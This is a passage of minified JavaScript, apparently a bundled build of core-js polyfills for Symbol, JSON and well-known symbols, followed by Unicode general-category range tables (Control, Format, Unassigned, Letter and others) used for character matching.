du(this).description}}),b||U(nu,"propertyIsEnumerable",hu,{unsafe:!0}))),a({global:!0,wrap:!0,forced:!m,sham:!m},{Symbol:tu}),J(_(mu),(function(u){Y(u)})),a({target:Q,stat:!0,forced:!m},{for:function(u){var d=S(u);if(E(yu,d))return yu[d];var t=tu(d);return yu[d]=t,Fu[t]=d,t},keyFor:function keyFor(u){if(!v(u))throw au(u+" is not a symbol");if(E(Fu,u))return Fu[u]},useSetter:function(){Au=!0},useSimple:function(){Au=!1}}),a({target:"Object",stat:!0,forced:!m,sham:!y},{create:function create(u,d){return void 0===d?R(u):gu(R(u),d)},defineProperty:Cu,defineProperties:gu,getOwnPropertyDescriptor:xu}),a({target:"Object",stat:!0,forced:!m},{getOwnPropertyNames:vu,getOwnPropertySymbols:Bu}),a({target:"Object",stat:!0,forced:A((function(){P.f(1)}))},{getOwnPropertySymbols:function getOwnPropertySymbols(u){return P.f(w(u))}}),ou)&&a({target:"JSON",stat:!0,forced:!m||A((function(){var u=tu();return"[null]"!=ou([u])||"{}"!=ou({a:u})||"{}"!=ou(Object(u))}))},{stringify:function stringify(u,d,t){var a=M(arguments),c=d;if((h(d)||void 0!==u)&&!v(u))return C(d)||(d=function(u,d){if(g(c)&&(d=D(c,this,u,d)),!v(d))return d}),a[1]=d,l(ou,null,a)}});if(!ru[uu]){var wu=ru.valueOf;U(ru,uu,(function(u){return D(wu,this)}))}V(tu,Q),z[K]=!0},{"../internals/an-object":60,"../internals/array-iteration":64,"../internals/array-slice":68,"../internals/create-property-descriptor":79,"../internals/define-well-known-symbol":82,"../internals/descriptors":83,"../internals/export":93,"../internals/fails":94,"../internals/function-apply":95,"../internals/function-call":97,"../internals/function-uncurry-this":99,"../internals/get-built-in":100,"../internals/global":104,"../internals/has-own-property":105,"../internals/hidden-keys":106,"../internals/internal-state":111,"../internals/is-array":113,"../internals/is-callable":114,"../internals/is-object":117,"../internals/is-pure":118,"../internals/is-symbol":119,"../internals/native-symbol":124,"../internals/object-create":127,"../internals/object-define-property":129,"../internals/object-get-own-property-descriptor":130,"../internals/object-get-own-property-names":132,"../internals/object-get-own-property-names-external":131,"../internals/object-get-own-property-symbols":133,"../internals/object-is-prototype-of":135,"../internals/object-keys":137,"../internals/object-property-is-enumerable":138,"../internals/redefine":143,"../internals/set-to-string-tag":147,"../internals/shared":150,"../internals/shared-key":148,"../internals/to-indexed-object":154,"../internals/to-object":157,"../internals/to-property-key":159,"../internals/to-string":161,"../internals/uid":163,"../internals/well-known-symbol":166,"../internals/well-known-symbol-wrapped":165}],191:[function(u,d,t){u("../internals/define-well-known-symbol")("matchAll")},{"../internals/define-well-known-symbol":82}],192:[function(u,d,t){u("../internals/define-well-known-symbol")("match")},{"../internals/define-well-known-symbol":82}],193:[function(u,d,t){u("../internals/define-well-known-symbol")("replace")},{"../internals/define-well-known-symbol":82}],194:[function(u,d,t){u("../internals/define-well-known-symbol")("search")},{"../internals/define-well-known-symbol":82}],195:[function(u,d,t){u("../internals/define-well-known-symbol")("species")},{"../internals/define-well-known-symbol":82}],196:[function(u,d,t){u("../internals/define-well-known-symbol")("split")},{"../internals/define-well-known-symbol":82}],197:[function(u,d,t){u("../internals/define-well-known-symbol")("toPrimitive")},{"../internals/define-well-known-symbol":82}],198:[function(u,d,t){u("../internals/define-well-known-symbol")("toStringTag")},{"../internals/define-well-known-symbol":82}],199:[function(u,d,t){u("../internals/define-well-known-symbol")("unscopables")},{"../internals/define-well-known-symbol":82}],200:[function(u,d,t){u("../internals/define-well-known-symbol")("asyncDispose")},{"../internals/define-well-known-symbol":82}],201:[function(u,d,t){u("../internals/define-well-known-symbol")("dispose")},{"../internals/define-well-known-symbol":82}],202:[function(u,d,t){u("../internals/define-well-known-symbol")("matcher")},{"../internals/define-well-known-symbol":82}],203:[function(u,d,t){u("../internals/define-well-known-symbol")("metadata")},{"../internals/define-well-known-symbol":82}],204:[function(u,d,t){u("../internals/define-well-known-symbol")("observable")},{"../internals/define-well-known-symbol":82}],205:[function(u,d,t){u("../internals/define-well-known-symbol")("patternMatch")},{"../internals/define-well-known-symbol":82}],206:[function(u,d,t){u("../internals/define-well-known-symbol")("replaceAll")},{"../internals/define-well-known-symbol":82}],207:[function(u,d,t){u("../modules/es.array.iterator");var a=u("../internals/dom-iterables"),c=u("../internals/global"),i=u("../internals/classof"),l=u("../internals/create-non-enumerable-property"),D=u("../internals/iterators"),p=u("../internals/well-known-symbol")("toStringTag");for(var b in a){var y=c[b],m=y&&y.prototype;m&&i(m)!==p&&l(m,p,b),D[b]=D.Array}},{"../internals/classof":75,"../internals/create-non-enumerable-property":78,"../internals/dom-iterables":85,"../internals/global":104,"../internals/iterators":122,"../internals/well-known-symbol":166,"../modules/es.array.iterator":173}],208:[function(u,d,t){var a=u("../../es/array/from");d.exports=a},{"../../es/array/from":34}],209:[function(u,d,t){var a=u("../../es/array/is-array");d.exports=a},{"../../es/array/is-array":35}],210:[function(u,d,t){var a=u("../../../es/array/virtual/for-each");d.exports=a},{"../../../es/array/virtual/for-each":37}],211:[function(u,d,t){var a=u("../es/get-iterator-method");u("../modules/web.dom-collections.iterator"),d.exports=a},{"../es/get-iterator-method":41,"../modules/web.dom-collections.iterator":207}],212:[function(u,d,t){var a=u("../../es/instance/concat");d.exports=a},{"../../es/instance/concat":42}],213:[function(u,d,t){var a=u("../../es/instance/flags");d.exports=a},{"../../es/instance/flags":43}],214:[function(u,d,t){u("../../modules/web.dom-collections.iterator");var a=u("../../internals/classof"),c=u("../../internals/has-own-property"),i=u("../../internals/object-is-prototype-of"),l=u("../array/virtual/for-each"),D=Array.prototype,p={DOMTokenList:!0,NodeList:!0};d.exports=function(u){var d=u.forEach;return u===D||i(D,u)&&d===D.forEach||c(p,a(u))?l:d}},{"../../internals/classof":75,"../../internals/has-own-property":105,"../../internals/object-is-prototype-of":135,"../../modules/web.dom-collections.iterator":207,"../array/virtual/for-each":210}],215:[function(u,d,t){var a=u("../../es/instance/index-of");d.exports=a},{"../../es/instance/index-of":44}],216:[function(u,d,t){var a=u("../../es/instance/slice");d.exports=a},{"../../es/instance/slice":45}],217:[function(u,d,t){var a=u("../../es/instance/sort");d.exports=a},{"../../es/instance/sort":46}],218:[function(u,d,t){var a=u("../../es/object/create");d.exports=a},{"../../es/object/create":47}],219:[function(u,d,t){var a=u("../../es/object/define-property");d.exports=a},{"../../es/object/define-property":48}],220:[function(u,d,t){var a=u("../es/parse-int");d.exports=a},{"../es/parse-int":49}],221:[function(u,d,t){var a=u("../../es/symbol");u("../../modules/web.dom-collections.iterator"),d.exports=a},{"../../es/symbol":51,"../../modules/web.dom-collections.iterator":207}],222:[function(u,d,t){d.exports=[{name:"C",alias:"Other",isBmpLast:!0,bmp:"\0--Ÿ­͸͹΀-΃΋΍΢԰՗՘֋֌֐׈-׏׫-׮׵-؅؜۝܎܏݋݌޲-޿߻߼࠮࠯࠿࡜࡝࡟࡫-࡯࢏-ࢗ࣢঄঍঎঑঒঩঱঳-঵঺঻৅৆৉৊৏-৖৘-৛৞৤৥৿਀਄਋-਎਑਒਩਱਴਷਺਻਽੃-੆੉੊੎-੐੒-੘੝੟-੥੷-઀઄઎઒઩઱઴઺઻૆૊૎૏૑-૟૤૥૲-૸଀଄଍଎଑଒଩଱଴଺଻୅୆୉୊୎-୔୘-୛୞୤୥୸-஁஄஋-஍஑஖-஘஛஝஠-஢஥-஧஫-஭஺-஽௃-௅௉௎௏௑-௖௘-௥௻-௿఍఑఩఺఻౅౉౎-౔౗౛౜౞౟౤౥౰-౶಍಑಩಴಺಻೅೉೎-೔೗-೜೟೤೥೰ೳ-೿഍഑൅൉൐-൓൤൥඀඄඗-඙඲඼඾඿෇-෉෋-෎෕෗෠-෥෰෱෵-฀฻-฾๜-຀຃຅຋຤຦຾຿໅໇໎໏໚໛໠-໿཈཭-཰྘྽࿍࿛-࿿჆჈-჌჎჏቉቎቏቗቙቞቟኉኎኏኱኶኷኿዁዆዇዗጑጖጗፛፜፽-፿᎚-᎟᏶᏷᏾᏿᚝-᚟᛹-᛿᜖-᜞᜷-᜿᝔-᝟᝭᝱᝴-᝿៞៟៪-៯៺-៿᠎᠚-᠟᡹-᡿᢫-᢯᣶-᣿᤟᤬-᤯᤼-᤿᥁-᥃᥮᥯᥵-᥿᦬-᦯᧊-᧏᧛-᧝᨜᨝᩟᩽᩾᪊-᪏᪚-᪟᪮᪯᫏-᫿᭍-᭏᭿᯴-᯻᰸-᰺᱊-᱌Ᲊ-᲏᲻᲼᳈-᳏᳻-᳿἖἗἞἟὆὇὎὏὘὚὜὞὾὿᾵῅῔῕῜῰῱῵῿​-‏‪-‮⁠-⁲⁳₏₝-₟⃁-⃏⃱-⃿↌-↏␧-␿⑋-⑟⭴⭵⮖⳴-⳸⴦⴨-⴬⴮⴯⵨-⵮⵱-⵾⶗-⶟⶧⶯⶷⶿⷇⷏⷗⷟⹞-⹿⺚⻴-⻿⿖-⿯⿼-⿿぀゗゘㄀-㄄㄰㆏㇤-㇯㈟꒍-꒏꓇-꓏꘬-꘿꛸-꛿Ɤ-꟏꟒꟔Ꟛ-꟱꠭-꠯꠺-꠿꡸-꡿꣆-꣍꣚-꣟꥔-꥞꥽-꥿꧎꧚-꧝꧿꨷-꨿꩎꩏꩚꩛꫃-꫚꫷-꬀꬇꬈꬏꬐꬗-꬟꬧꬯꭬-꭯꯮꯯꯺-꯿힤-힯퟇-퟊퟼-﩮﩯﫚-﫿﬇-﬒﬘-﬜﬷﬽﬿﭂﭅﯃-﯒﶐﶑﷈-﷎﷐-﷯︚-︟﹓﹧﹬-﹯﹵﻽-＀﾿-￁￈￉￐￑￘￙￝-￟￧￯-￾￿",astral:"\ud800[\udc0c\udc27\udc3b\udc3e\udc4e\udc4f\udc5e-\udc7f\udcfb-\udcff\udd03-\udd06\udd34-\udd36\udd8f\udd9d-\udd9f\udda1-\uddcf\uddfe-\ude7f\ude9d-\ude9f\uded1-\udedf\udefc-\udeff\udf24-\udf2c\udf4b-\udf4f\udf7b-\udf7f\udf9e\udfc4-\udfc7\udfd6-\udfff]|\ud801[\udc9e\udc9f\udcaa-\udcaf\udcd4-\udcd7\udcfc-\udcff\udd28-\udd2f\udd64-\udd6e\udd7b\udd8b\udd93\udd96\udda2\uddb2\uddba\uddbd-\uddff\udf37-\udf3f\udf56-\udf5f\udf68-\udf7f\udf86\udfb1\udfbb-\udfff]|\ud802[\udc06\udc07\udc09\udc36\udc39-\udc3b\udc3d\udc3e\udc56\udc9f-\udca6\udcb0-\udcdf\udcf3\udcf6-\udcfa\udd1c-\udd1e\udd3a-\udd3e\udd40-\udd7f\uddb8-\uddbb\uddd0\uddd1\ude04\ude07-\ude0b\ude14\ude18\ude36\ude37\ude3b-\ude3e\ude49-\ude4f\ude59-\ude5f\udea0-\udebf\udee7-\udeea\udef7-\udeff\udf36-\udf38\udf56\udf57\udf73-\udf77\udf92-\udf98\udf9d-\udfa8\udfb0-\udfff]|\ud803[\udc49-\udc7f\udcb3-\udcbf\udcf3-\udcf9\udd28-\udd2f\udd3a-\ude5f\ude7f\udeaa\udeae\udeaf\udeb2-\udeff\udf28-\udf2f\udf5a-\udf6f\udf8a-\udfaf\udfcc-\udfdf\udff7-\udfff]|\ud804[\udc4e-\udc51\udc76-\udc7e\udcbd\udcc3-\udccf\udce9-\udcef\udcfa-\udcff\udd35\udd48-\udd4f\udd77-\udd7f\udde0\uddf5-\uddff\ude12\ude3f-\ude7f\ude87\ude89\ude8e\ude9e\udeaa-\udeaf\udeeb-\udeef\udefa-\udeff\udf04\udf0d\udf0e\udf11\udf12\udf29\udf31\udf34\udf3a\udf45\udf46\udf49\udf4a\udf4e\udf4f\udf51-\udf56\udf58-\udf5c\udf64\udf65\udf6d-\udf6f\udf75-\udfff]|\ud805[\udc5c\udc62-\udc7f\udcc8-\udccf\udcda-\udd7f\uddb6\uddb7\uddde-\uddff\ude45-\ude4f\ude5a-\ude5f\ude6d-\ude7f\udeba-\udebf\udeca-\udeff\udf1b\udf1c\udf2c-\udf2f\udf47-\udfff]|\ud806[\udc3c-\udc9f\udcf3-\udcfe\udd07\udd08\udd0a\udd0b\udd14\udd17\udd36\udd39\udd3a\udd47-\udd4f\udd5a-\udd9f\udda8\udda9\uddd8\uddd9\udde5-\uddff\ude48-\ude4f\udea3-\udeaf\udef9-\udfff]|\ud807[\udc09\udc37\udc46-\udc4f\udc6d-\udc6f\udc90\udc91\udca8\udcb7-\udcff\udd07\udd0a\udd37-\udd39\udd3b\udd3e\udd48-\udd4f\udd5a-\udd5f\udd66\udd69\udd8f\udd92\udd99-\udd9f\uddaa-\udedf\udef9-\udfaf\udfb1-\udfbf\udff2-\udffe]|\ud808[\udf9a-\udfff]|\ud809[\udc6f\udc75-\udc7f\udd44-\udfff]|[\ud80a\ud80e-\ud810\ud812-\ud819\ud824-\ud82a\ud82d\ud82e\ud830-\ud832\ud83f\ud87b-\ud87d\ud87f\ud885-\udb3f\udb41-\udbff][\udc00-\udfff]|\ud80b[\udc00-\udf8f\udff3-\udfff]|\ud80d[\udc2f-\udfff]|\ud811[\ude47-\udfff]|\ud81a[\ude39-\ude3f\ude5f\ude6a-\ude6d\udebf\udeca-\udecf\udeee\udeef\udef6-\udeff\udf46-\udf4f\udf5a\udf62\udf78-\udf7c\udf90-\udfff]|\ud81b[\udc00-\ude3f\ude9b-\udeff\udf4b-\udf4e\udf88-\udf8e\udfa0-\udfdf\udfe5-\udfef\udff2-\udfff]|\ud821[\udff8-\udfff]|\ud823[\udcd6-\udcff\udd09-\udfff]|\ud82b[\udc00-\udfef\udff4\udffc\udfff]|\ud82c[\udd23-\udd4f\udd53-\udd63\udd68-\udd6f\udefc-\udfff]|\ud82f[\udc6b-\udc6f\udc7d-\udc7f\udc89-\udc8f\udc9a\udc9b\udca0-\udfff]|\ud833[\udc00-\udeff\udf2e\udf2f\udf47-\udf4f\udfc4-\udfff]|\ud834[\udcf6-\udcff\udd27\udd28\udd73-\udd7a\uddeb-\uddff\ude46-\udedf\udef4-\udeff\udf57-\udf5f\udf79-\udfff]|\ud835[\udc55\udc9d\udca0\udca1\udca3\udca4\udca7\udca8\udcad\udcba\udcbc\udcc4\udd06\udd0b\udd0c\udd15\udd1d\udd3a\udd3f\udd45\udd47-\udd49\udd51\udea6\udea7\udfcc\udfcd]|\ud836[\ude8c-\ude9a\udea0\udeb0-\udfff]|\ud837[\udc00-\udeff\udf1f-\udfff]|\ud838[\udc07\udc19\udc1a\udc22\udc25\udc2b-\udcff\udd2d-\udd2f\udd3e\udd3f\udd4a-\udd4d\udd50-\ude8f\udeaf-\udebf\udefa-\udefe\udf00-\udfff]|\ud839[\udc00-\udfdf\udfe7\udfec\udfef\udfff]|\ud83a[\udcc5\udcc6\udcd7-\udcff\udd4c-\udd4f\udd5a-\udd5d\udd60-\udfff]|\ud83b[\udc00-\udc70\udcb5-\udd00\udd3e-\uddff\ude04\ude20\ude23\ude25\ude26\ude28\ude33\ude38\ude3a\ude3c-\ude41\ude43-\ude46\ude48\ude4a\ude4c\ude50\ude53\ude55\ude56\ude58\ude5a\ude5c\ude5e\ude60\ude63\ude65\ude66\ude6b\ude73\ude78\ude7d\ude7f\ude8a\ude9c-\udea0\udea4\udeaa\udebc-\udeef\udef2-\udfff]|\ud83c[\udc2c-\udc2f\udc94-\udc9f\udcaf\udcb0\udcc0\udcd0\udcf6-\udcff\uddae-\udde5\ude03-\ude0f\ude3c-\ude3f\ude49-\ude4f\ude52-\ude5f\ude66-\udeff]|\ud83d[\uded8-\udedc\udeed-\udeef\udefd-\udeff\udf74-\udf7f\udfd9-\udfdf\udfec-\udfef\udff1-\udfff]|\ud83e[\udc0c-\udc0f\udc48-\udc4f\udc5a-\udc5f\udc88-\udc8f\udcae\udcaf\udcb2-\udcff\ude54-\ude5f\ude6e\ude6f\ude75-\ude77\ude7d-\ude7f\ude87-\ude8f\udead-\udeaf\udebb-\udebf\udec6-\udecf\udeda-\udedf\udee8-\udeef\udef7-\udeff\udf93\udfcb-\udfef\udffa-\udfff]|\ud869[\udee0-\udeff]|\ud86d[\udf39-\udf3f]|\ud86e[\udc1e\udc1f]|\ud873[\udea2-\udeaf]|\ud87a[\udfe1-\udfff]|\ud87e[\ude1e-\udfff]|\ud884[\udf4b-\udfff]|\udb40[\udc00-\udcff\uddf0-\udfff]"},{name:"Cc",alias:"Control",bmp:"\0--Ÿ"},{name:"Cf",alias:"Format",bmp:"­؀-؅؜۝܏࢐࢑࣢᠎​-‏‪-‮⁠-⁤⁦-\ufeff-",astral:"\ud804[\udcbd\udccd]|\ud80d[\udc30-\udc38]|\ud82f[\udca0-\udca3]|\ud834[\udd73-\udd7a]|\udb40[\udc01\udc20-\udc7f]"},{name:"Cn",alias:"Unassigned",bmp:"͸͹΀-΃΋΍΢԰՗՘֋֌֐׈-׏׫-׮׵-׿܎݋݌޲-޿߻߼࠮࠯࠿࡜࡝࡟࡫-࡯࢏࢒-ࢗ঄঍঎঑঒঩঱঳-঵঺঻৅৆৉৊৏-৖৘-৛৞৤৥৿਀਄਋-਎਑਒਩਱਴਷਺਻਽੃-੆੉੊੎-੐੒-੘੝੟-੥੷-઀઄઎઒઩઱઴઺઻૆૊૎૏૑-૟૤૥૲-૸଀଄଍଎଑଒଩଱଴଺଻୅୆୉୊୎-୔୘-୛୞୤୥୸-஁஄஋-஍஑஖-஘஛஝஠-஢஥-஧஫-஭஺-஽௃-௅௉௎௏௑-௖௘-௥௻-௿఍఑఩఺఻౅౉౎-౔౗౛౜౞౟౤౥౰-౶಍಑಩಴಺಻೅೉೎-೔೗-೜೟೤೥೰ೳ-೿഍഑൅൉൐-൓൤൥඀඄඗-඙඲඼඾඿෇-෉෋-෎෕෗෠-෥෰෱෵-฀฻-฾๜-຀຃຅຋຤຦຾຿໅໇໎໏໚໛໠-໿཈཭-཰྘྽࿍࿛-࿿჆჈-჌჎჏቉቎቏቗቙቞቟኉኎኏኱኶኷኿዁዆዇዗጑጖጗፛፜፽-፿᎚-᎟᏶᏷᏾᏿᚝-᚟᛹-᛿᜖-᜞᜷-᜿᝔-᝟᝭᝱᝴-᝿៞៟៪-៯៺-៿᠚-᠟᡹-᡿᢫-᢯᣶-᣿᤟᤬-᤯᤼-᤿᥁-᥃᥮᥯᥵-᥿᦬-᦯᧊-᧏᧛-᧝᨜᨝᩟᩽᩾᪊-᪏᪚-᪟᪮᪯᫏-᫿᭍-᭏᭿᯴-᯻᰸-᰺᱊-᱌Ᲊ-᲏᲻᲼᳈-᳏᳻-᳿἖἗἞἟὆὇὎὏὘὚὜὞὾὿᾵῅῔῕῜῰῱῵῿⁥⁲⁳₏₝-₟⃁-⃏⃱-⃿↌-↏␧-␿⑋-⑟⭴⭵⮖⳴-⳸⴦⴨-⴬⴮⴯⵨-⵮⵱-⵾⶗-⶟⶧⶯⶷⶿⷇⷏⷗⷟⹞-⹿⺚⻴-⻿⿖-⿯⿼-⿿぀゗゘㄀-㄄㄰㆏㇤-㇯㈟꒍-꒏꓇-꓏꘬-꘿꛸-꛿Ɤ-꟏꟒꟔Ꟛ-꟱꠭-꠯꠺-꠿꡸-꡿꣆-꣍꣚-꣟꥔-꥞꥽-꥿꧎꧚-꧝꧿꨷-꨿꩎꩏꩚꩛꫃-꫚꫷-꬀꬇꬈꬏꬐꬗-꬟꬧꬯꭬-꭯꯮꯯꯺-꯿힤-힯퟇-퟊퟼-퟿﩮﩯﫚-﫿﬇-﬒﬘-﬜﬷﬽﬿﭂﭅﯃-﯒﶐﶑﷈-﷎﷐-﷯︚-︟﹓﹧﹬-﹯﹵﻽﻾＀﾿-￁￈￉￐￑￘￙￝-￟￧￯-￸￾￿",astral:"\ud800[\udc0c\udc27\udc3b\udc3e\udc4e\udc4f\udc5e-\udc7f\udcfb-\udcff\udd03-\udd06\udd34-\udd36\udd8f\udd9d-\udd9f\udda1-\uddcf\uddfe-\ude7f\ude9d-\ude9f\uded1-\udedf\udefc-\udeff\udf24-\udf2c\udf4b-\udf4f\udf7b-\udf7f\udf9e\udfc4-\udfc7\udfd6-\udfff]|\ud801[\udc9e\udc9f\udcaa-\udcaf\udcd4-\udcd7\udcfc-\udcff\udd28-\udd2f\udd64-\udd6e\udd7b\udd8b\udd93\udd96\udda2\uddb2\uddba\uddbd-\uddff\udf37-\udf3f\udf56-\udf5f\udf68-\udf7f\udf86\udfb1\udfbb-\udfff]|\ud802[\udc06\udc07\udc09\udc36\udc39-\udc3b\udc3d\udc3e\udc56\udc9f-\udca6\udcb0-\udcdf\udcf3\udcf6-\udcfa\udd1c-\udd1e\udd3a-\udd3e\udd40-\udd7f\uddb8-\uddbb\uddd0\uddd1\ude04\ude07-\ude0b\ude14\ude18\ude36\ude37\ude3b-\ude3e\ude49-\ude4f\ude59-\ude5f\udea0-\udebf\udee7-\udeea\udef7-\udeff\udf36-\udf38\udf56\udf57\udf73-\udf77\udf92-\udf98\udf9d-\udfa8\udfb0-\udfff]|\ud803[\udc49-\udc7f\udcb3-\udcbf\udcf3-\udcf9\udd28-\udd2f\udd3a-\ude5f\ude7f\udeaa\udeae\udeaf\udeb2-\udeff\udf28-\udf2f\udf5a-\udf6f\udf8a-\udfaf\udfcc-\udfdf\udff7-\udfff]|\ud804[\udc4e-\udc51\udc76-\udc7e\udcc3-\udccc\udcce\udccf\udce9-\udcef\udcfa-\udcff\udd35\udd48-\udd4f\udd77-\udd7f\udde0\uddf5-\uddff\ude12\ude3f-\ude7f\ude87\ude89\ude8e\ude9e\udeaa-\udeaf\udeeb-\udeef\udefa-\udeff\udf04\udf0d\udf0e\udf11\udf12\udf29\udf31\udf34\udf3a\udf45\udf46\udf49\udf4a\udf4e\udf4f\udf51-\udf56\udf58-\udf5c\udf64\udf65\udf6d-\udf6f\udf75-\udfff]|\ud805[\udc5c\udc62-\udc7f\udcc8-\udccf\udcda-\udd7f\uddb6\uddb7\uddde-\uddff\ude45-\ude4f\ude5a-\ude5f\ude6d-\ude7f\udeba-\udebf\udeca-\udeff\udf1b\udf1c\udf2c-\udf2f\udf47-\udfff]|\ud806[\udc3c-\udc9f\udcf3-\udcfe\udd07\udd08\udd0a\udd0b\udd14\udd17\udd36\udd39\udd3a\udd47-\udd4f\udd5a-\udd9f\udda8\udda9\uddd8\uddd9\udde5-\uddff\ude48-\ude4f\udea3-\udeaf\udef9-\udfff]|\ud807[\udc09\udc37\udc46-\udc4f\udc6d-\udc6f\udc90\udc91\udca8\udcb7-\udcff\udd07\udd0a\udd37-\udd39\udd3b\udd3e\udd48-\udd4f\udd5a-\udd5f\udd66\udd69\udd8f\udd92\udd99-\udd9f\uddaa-\udedf\udef9-\udfaf\udfb1-\udfbf\udff2-\udffe]|\ud808[\udf9a-\udfff]|\ud809[\udc6f\udc75-\udc7f\udd44-\udfff]|[\ud80a\ud80e-\ud810\ud812-\ud819\ud824-\ud82a\ud82d\ud82e\ud830-\ud832\ud83f\ud87b-\ud87d\ud87f\ud885-\udb3f\udb41-\udb7f][\udc00-\udfff]|\ud80b[\udc00-\udf8f\udff3-\udfff]|\ud80d[\udc2f\udc39-\udfff]|\ud811[\ude47-\udfff]|\ud81a[\ude39-\ude3f\ude5f\ude6a-\ude6d\udebf\udeca-\udecf\udeee\udeef\udef6-\udeff\udf46-\udf4f\udf5a\udf62\udf78-\udf7c\udf90-\udfff]|\ud81b[\udc00-\ude3f\ude9b-\udeff\udf4b-\udf4e\udf88-\udf8e\udfa0-\udfdf\udfe5-\udfef\udff2-\udfff]|\ud821[\udff8-\udfff]|\ud823[\udcd6-\udcff\udd09-\udfff]|\ud82b[\udc00-\udfef\udff4\udffc\udfff]|\ud82c[\udd23-\udd4f\udd53-\udd63\udd68-\udd6f\udefc-\udfff]|\ud82f[\udc6b-\udc6f\udc7d-\udc7f\udc89-\udc8f\udc9a\udc9b\udca4-\udfff]|\ud833[\udc00-\udeff\udf2e\udf2f\udf47-\udf4f\udfc4-\udfff]|\ud834[\udcf6-\udcff\udd27\udd28\uddeb-\uddff\ude46-\udedf\udef4-\udeff\udf57-\udf5f\udf79-\udfff]|\ud835[\udc55\udc9d\udca0\udca1\udca3\udca4\udca7\udca8\udcad\udcba\udcbc\udcc4\udd06\udd0b\udd0c\udd15\udd1d\udd3a\udd3f\udd45\udd47-\udd49\udd51\udea6\udea7\udfcc\udfcd]|\ud836[\ude8c-\ude9a\udea0\udeb0-\udfff]|\ud837[\udc00-\udeff\udf1f-\udfff]|\ud838[\udc07\udc19\udc1a\udc22\udc25\udc2b-\udcff\udd2d-\udd2f\udd3e\udd3f\udd4a-\udd4d\udd50-\ude8f\udeaf-\udebf\udefa-\udefe\udf00-\udfff]|\ud839[\udc00-\udfdf\udfe7\udfec\udfef\udfff]|\ud83a[\udcc5\udcc6\udcd7-\udcff\udd4c-\udd4f\udd5a-\udd5d\udd60-\udfff]|\ud83b[\udc00-\udc70\udcb5-\udd00\udd3e-\uddff\ude04\ude20\ude23\ude25\ude26\ude28\ude33\ude38\ude3a\ude3c-\ude41\ude43-\ude46\ude48\ude4a\ude4c\ude50\ude53\ude55\ude56\ude58\ude5a\ude5c\ude5e\ude60\ude63\ude65\ude66\ude6b\ude73\ude78\ude7d\ude7f\ude8a\ude9c-\udea0\udea4\udeaa\udebc-\udeef\udef2-\udfff]|\ud83c[\udc2c-\udc2f\udc94-\udc9f\udcaf\udcb0\udcc0\udcd0\udcf6-\udcff\uddae-\udde5\ude03-\ude0f\ude3c-\ude3f\ude49-\ude4f\ude52-\ude5f\ude66-\udeff]|\ud83d[\uded8-\udedc\udeed-\udeef\udefd-\udeff\udf74-\udf7f\udfd9-\udfdf\udfec-\udfef\udff1-\udfff]|\ud83e[\udc0c-\udc0f\udc48-\udc4f\udc5a-\udc5f\udc88-\udc8f\udcae\udcaf\udcb2-\udcff\ude54-\ude5f\ude6e\ude6f\ude75-\ude77\ude7d-\ude7f\ude87-\ude8f\udead-\udeaf\udebb-\udebf\udec6-\udecf\udeda-\udedf\udee8-\udeef\udef7-\udeff\udf93\udfcb-\udfef\udffa-\udfff]|\ud869[\udee0-\udeff]|\ud86d[\udf39-\udf3f]|\ud86e[\udc1e\udc1f]|\ud873[\udea2-\udeaf]|\ud87a[\udfe1-\udfff]|\ud87e[\ude1e-\udfff]|\ud884[\udf4b-\udfff]|\udb40[\udc00\udc02-\udc1f\udc80-\udcff\uddf0-\udfff]|[\udbbf\udbff][\udffe\udfff]"},{name:"Co",alias:"Private_Use",bmp:"-",astral:"[\udb80-\udbbe\udbc0-\udbfe][\udc00-\udfff]|[\udbbf\udbff][\udc00-\udffd]"},{name:"Cs",alias:"Surrogate",bmp:"\ud800-\udfff"},{name:"L",alias:"Letter",bmp:"A-Za-zªµºÀ-ÖØ-öø-ˁˆ-ˑˠ-ˤˬˮͰ-ʹͶͷͺ-ͽͿΆΈ-ΊΌΎ-ΡΣ-ϵϷ-ҁҊ-ԯԱ-Ֆՙՠ-ֈא-תׯ-ײؠ-يٮٯٱ-ۓەۥۦۮۯۺ-ۼۿܐܒ-ܯݍ-ޥޱߊ-ߪߴߵߺࠀ-ࠕࠚࠤࠨࡀ-ࡘࡠ-ࡪࡰ-ࢇࢉ-ࢎࢠ-ࣉऄ-हऽॐक़-ॡॱ-ঀঅ-ঌএঐও-নপ-রলশ-হঽৎড়ঢ়য়-ৡৰৱৼਅ-ਊਏਐਓ-ਨਪ-ਰਲਲ਼ਵਸ਼ਸਹਖ਼-ੜਫ਼ੲ-ੴઅ-ઍએ-ઑઓ-નપ-રલળવ-હઽૐૠૡૹଅ-ଌଏଐଓ-ନପ-ରଲଳଵ-ହଽଡ଼ଢ଼ୟ-ୡୱஃஅ-ஊஎ-ஐஒ-கஙசஜஞடணதந-பம-ஹௐఅ-ఌఎ-ఐఒ-నప-హఽౘ-ౚౝౠౡಀಅ-ಌಎ-ಐಒ-ನಪ-ಳವ-ಹಽೝೞೠೡೱೲഄ-ഌഎ-ഐഒ-ഺഽൎൔ-ൖൟ-ൡൺ-ൿඅ-ඖක-නඳ-රලව-ෆก-ะาำเ-ๆກຂຄຆ-ຊຌ-ຣລວ-ະາຳຽເ-ໄໆໜ-ໟༀཀ-ཇཉ-ཬྈ-ྌက-ဪဿၐ-ၕၚ-ၝၡၥၦၮ-ၰၵ-ႁႎႠ-ჅჇჍა-ჺჼ-ቈቊ-ቍቐ-ቖቘቚ-ቝበ-ኈኊ-ኍነ-ኰኲ-ኵኸ-ኾዀዂ-ዅወ-ዖዘ-ጐጒ-ጕጘ-ፚᎀ-ᎏᎠ-Ᏽᏸ-ᏽᐁ-ᙬᙯ-ᙿᚁ-ᚚᚠ-ᛪᛱ-ᛸᜀ-ᜑᜟ-ᜱᝀ-ᝑᝠ-ᝬᝮ-ᝰក-ឳៗៜᠠ-ᡸᢀ-ᢄᢇ-ᢨᢪᢰ-ᣵᤀ-ᤞᥐ-ᥭᥰ-ᥴᦀ-ᦫᦰ-ᧉᨀ-ᨖᨠ-ᩔᪧᬅ-ᬳᭅ-ᭌᮃ-ᮠᮮᮯᮺ-ᯥᰀ-ᰣᱍ-ᱏᱚ-ᱽᲀ-ᲈᲐ-ᲺᲽ-Ჿᳩ-ᳬᳮ-ᳳᳵᳶᳺᴀ-ᶿḀ-ἕἘ-Ἕἠ-ὅὈ-Ὅὐ-ὗὙὛὝὟ-ώᾀ-ᾴᾶ-ᾼιῂ-ῄῆ-ῌῐ-ΐῖ-Ίῠ-Ῥῲ-ῴῶ-ῼⁱⁿₐ-ₜℂℇℊ-ℓℕℙ-ℝℤΩℨK-ℭℯ-ℹℼ-ℿⅅ-ⅉⅎↃↄⰀ-ⳤⳫ-ⳮⳲⳳⴀ-ⴥⴧⴭⴰ-ⵧⵯⶀ-